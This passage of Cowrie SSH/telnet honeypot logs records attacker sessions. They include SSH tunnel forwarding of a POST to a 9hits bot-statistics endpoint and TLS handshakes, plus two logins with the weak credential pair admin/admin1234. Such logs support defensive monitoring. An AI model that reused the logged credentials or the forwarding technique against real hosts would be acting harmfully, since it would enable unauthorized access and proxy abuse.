deflate\\r\\n\\r\\n_=eHVyckt0RmwkPkNwc2gkYg%3D%3D%2F8NoewIoHSawtcBdEiP2zZk2mivLM50ZjmulMpyEZc5K0zawgYe2nI1iGcKJBl6vg8QgcmIJ5jBzDkznq7ISlLb7FtHuJkwjq0sThONW7y1VsTilliHIu0YV1UVE8OQNYhhqF%2FW8HHc6a%2BImBGd1jyyoxzS2td1LMTfVcKfw%2F5PvQ2a7XoURZca%2B5UyrXnZLXG%2BxSJeyCOJ8qVBNQ%2BCxFya8AgueLs5TA2R9EC748jsE9B0tdDzDK9xwKoc55eWCcvZg%2Fx9tLiTk84VB0p7gKu6%2BJrxKoAIU%2BuFuOJBqNT%2F6Cl3ULTBCJh1lBmJxxR2seeIHuiQ7pIkobaVOU7iKngiKId%2FKW1xFUCTPGLuPA7JL0EpFZ9OMJXG8EIO0%2BkefDh4yGc%2Bqenh3V%2BIRZrOTKXs07i7Qbb869868m3C1FV7FbOnDfPa7etMqAyV9Yxz9Ll5Hney7dS9iRGLHbw8Z7xAoGJ%2F0BLHyg0z7rbBa90bKgeYo2mcIrAycQYCtBOIR%2BQ0N14XZecD28rUpEWCa0XZr2vP5wj7cOvaHMBBfXauS2MmcjqEbQTerkrZJ3KGUabTpKmRtl1TSR1k67VbPPdeIr9o75mgzT%2FSF9cf9qofxit2t%2FLCZv8crYKn0hQbVJnL6L2ZJMqKbZll13mZPCVtv11%2Bj0bZU7Uqob94xyhrT9wQ%2BFWWXbtVBQdSVBNew1DMjffa%2BsuC51LeV1fM19mlHMfwSBTwpFZ1qekX6A7X5RyhhVjWYTR0Y40ZfJTe1DkQpqfKw2d8Y6B3v%2BiNUEx4SH34Q97IRXkRtNsbhif%2Bh8%2Bc4OriN4%2BrpH8Agxl2cFJQkUHO28I1Tk1ecOsB34fUPdvJQqmppx9nhmUo5DCqXktv1lz%2FT87uL09QwDzrf5ahVwbVYMucKgaN5rGcr1pv5RWqSTNd5WeijxiEPRtB6%2BnYcm7YrmMAZgBhGjuahHQVSliCD96pREW7NH5wENvDU9vsF03SDkH6%2BGJ6%2FcshJSAPrrt6JVE4OFkvj25OTxkiXf9CvD19Q1eWsv8ajucDPKrccAVUZ6SCxxY%2BTkmXY2qGKMgvb8uNfQlMWZWJo'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=eHVyckt0RmwkPkNwc2gkYg%3D%3D%2F8NoewIoHSawtcBdEiP2zZk2mivLM50ZjmulMpyEZc5K0zawgYe2nI1iGcKJBl6vg8QgcmIJ5jBzDkznq7ISlLb7FtHuJkwjq0sThONW7y1VsTilliHIu0YV1UVE8OQNYhhqF%2FW8HHc6a%2BImBGd1jyyoxzS2td1LMTfVcKfw%2F5PvQ2a7XoURZca%2B5UyrXnZLXG%2BxSJeyCOJ8qVBNQ%2BCxFya8AgueLs5TA2R9EC748jsE9B0tdDzDK9xwKoc55eWCcvZg%2Fx9tLiTk84VB0p7gKu6%2BJrxKoAIU%2BuFuOJBqNT%2F6Cl3ULTBCJh1lBmJxxR2seeIHuiQ7pIkobaVOU7iKngiKId%2FKW1xFUCTPGLuPA7JL0EpFZ9OMJXG8EIO0%2BkefDh4yGc%2Bqenh3V%2BIRZrOTKXs07i7Qbb869868m3C1FV7FbOnDfPa7etMqAyV9Yxz9Ll5Hney7dS9iRGLHbw8Z7xAoGJ%2F0BLHyg0z7rbBa90bKgeYo2mcIrAycQYCtBOIR%2BQ0N14XZecD28rUpEWCa0XZr2vP5wj7cOvaHMBBfXauS2MmcjqEbQTerkrZJ3KGUabTpKmRtl1TSR1k67VbPPdeIr9o75mgzT%2FSF9cf9qofxit2t%2FLCZv8crYKn0hQbVJnL6L2ZJMqKbZll13mZPCVtv11%2Bj0bZU7Uqob94xyhrT9wQ%2BFWWXbtVBQdSVBNew1DMjffa%2BsuC51LeV1fM19mlHMfwSBTwpFZ1qekX6A7X5RyhhVjWYTR0Y40ZfJTe1DkQpqfKw2d8Y6B3v%2BiNUEx4SH34Q97IRXkRtNsbhif%2Bh8%2Bc4OriN4%2BrpH8Agxl2cFJQkUHO28I1Tk1ecOsB34fUPdvJQqmppx9nhmUo5DCqXktv1lz%2FT87uL09QwDzrf5ahVwbVYMucKgaN5rGcr1pv5RWqSTNd5WeijxiEPRtB6%2BnYcm7YrmMAZgBhGjuahHQVSliCD96pREW7NH5wENvDU9vsF03SDkH6%2BGJ6%2FcshJSAPrrt6JVE4OFkvj25OTxkiXf9CvD19Q1eWsv8ajucDPKrccAVUZ6SCxxY%2BTkmXY2qGKMgvb8uNfQlMWZWJo'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:51.441240Z","src_ip":"123.27.168.40","session":"112b06e53c0b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:51.444304Z","src_ip":"123.27.168.40","session":"112b06e53c0b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xad\\xfb#b\\xe5\\xb5\\x90\\xacsCU\\x1a\\xc2k\\xc0\\xc56\\x83\\x07\\xe4\\xe9:\\x18N$\\xde\\x18&\\xaf\\xa8e2 ,\\xe8\\x06\\x85\\x85\\x88\\x96\\xdf|Fh\\xff\\xfb\\xfbhili\\x03'\\xcd=6\\xd3\\x085W_\\xb6'p/\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 %\\x1b\\xba\\x84\\xfd\\xaf\\x10N\\x97`\\xf7\\xb8\\xa4\\x93Y\\xed\\x86\\x87\\x90\\xb72\\x12\\xce!\\x93\\xc3\\xf7\\x85n}\\x93Z\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xad\\xfb#b\\xe5\\xb5\\x90\\xacsCU\\x1a\\xc2k\\xc0\\xc56\\x83\\x07\\xe4\\xe9:\\x18N$\\xde\\x18&\\xaf\\xa8e2 ,\\xe8\\x06\\x85\\x85\\x88\\x96\\xdf|Fh\\xff\\xfb\\xfbhili\\x03'\\xcd=6\\xd3\\x085W_\\xb6'p/\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 %\\x1b\\xba\\x84\\xfd\\xaf\\x10N\\x97`\\xf7\\xb8\\xa4\\x93Y\\xed\\x86\\x87\\x90\\xb72\\x12\\xce!\\x93\\xc3\\xf7\\x85n}\\x93Z\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:51.447857Z","src_ip":"123.27.168.40","session":"112b06e53c0b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:51.701970Z","session":"112b06e53c0b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:51.951153Z","src_ip":"123.27.168.40","session":"112b06e53c0b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa3<]\\xf2\\xd7\\x9e\\n8\\x08\\\\2\\x97\\xc4\\x16\\xb5R\\x01\\xfd\\x91`\\x0bfF\\xce\\xf1S\\xdc\\x05{\\xbc\\xafH :_\\xbb\\x13^fO\\xf3w^)3\\xd6}{@\\x94\\xc1\\x03\\x98qu\\xe1\\x1b\\xa4h\\x00\\xb6\\xcb/\\xd0i\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9d\\x80\\x03\\xcf>\\x12\\x1e\\x82r7\\xf8\\xe2\\x18#\\x90\\x88]\\xec\\xb0[:\\xe2\\x07\\xb3,0\\xf3D\\xf4\\xbb\\xee\\x07\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa3<]\\xf2\\xd7\\x9e\\n8\\x08\\\\2\\x97\\xc4\\x16\\xb5R\\x01\\xfd\\x91`\\x0bfF\\xce\\xf1S\\xdc\\x05{\\xbc\\xafH :_\\xbb\\x13^fO\\xf3w^)3\\xd6}{@\\x94\\xc1\\x03\\x98qu\\xe1\\x1b\\xa4h\\x00\\xb6\\xcb/\\xd0i\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9d\\x80\\x03\\xcf>\\x12\\x1e\\x82r7\\xf8\\xe2\\x18#\\x90\\x88]\\xec\\xb0[:\\xe2\\x07\\xb3,0\\xf3D\\xf4\\xbb\\xee\\x07\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:51.954345Z","src_ip":"123.27.168.40","session":"112b06e53c0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:52.289695Z","src_ip":"123.27.168.40","session":"112b06e53c0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.72150659561157,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:58.625912Z","src_ip":"172.81.62.90","session":"0b6bb2c7abfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":57286,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b096cc2c7d3","protocol":"ssh","message":"New connection: 23.175.50.52:57286 (10.17.0.5:22) [session: 4b096cc2c7d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:09.245976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:09.250561Z","src_ip":"23.175.50.52","session":"4b096cc2c7d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:09.404696Z","src_ip":"23.175.50.52","session":"4b096cc2c7d3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:11.348615Z","src_ip":"23.175.50.52","session":"4b096cc2c7d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":57528,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2c83ba79b95","protocol":"ssh","message":"New connection: 23.175.50.52:57528 (10.17.0.5:22) [session: f2c83ba79b95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:25.071062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:25.075810Z","src_ip":"23.175.50.52","session":"f2c83ba79b95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:25.229608Z","src_ip":"23.175.50.52","session":"f2c83ba79b95","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:27.742626Z","src_ip":"23.175.50.52","session":"f2c83ba79b95","protocol":"ssh"}
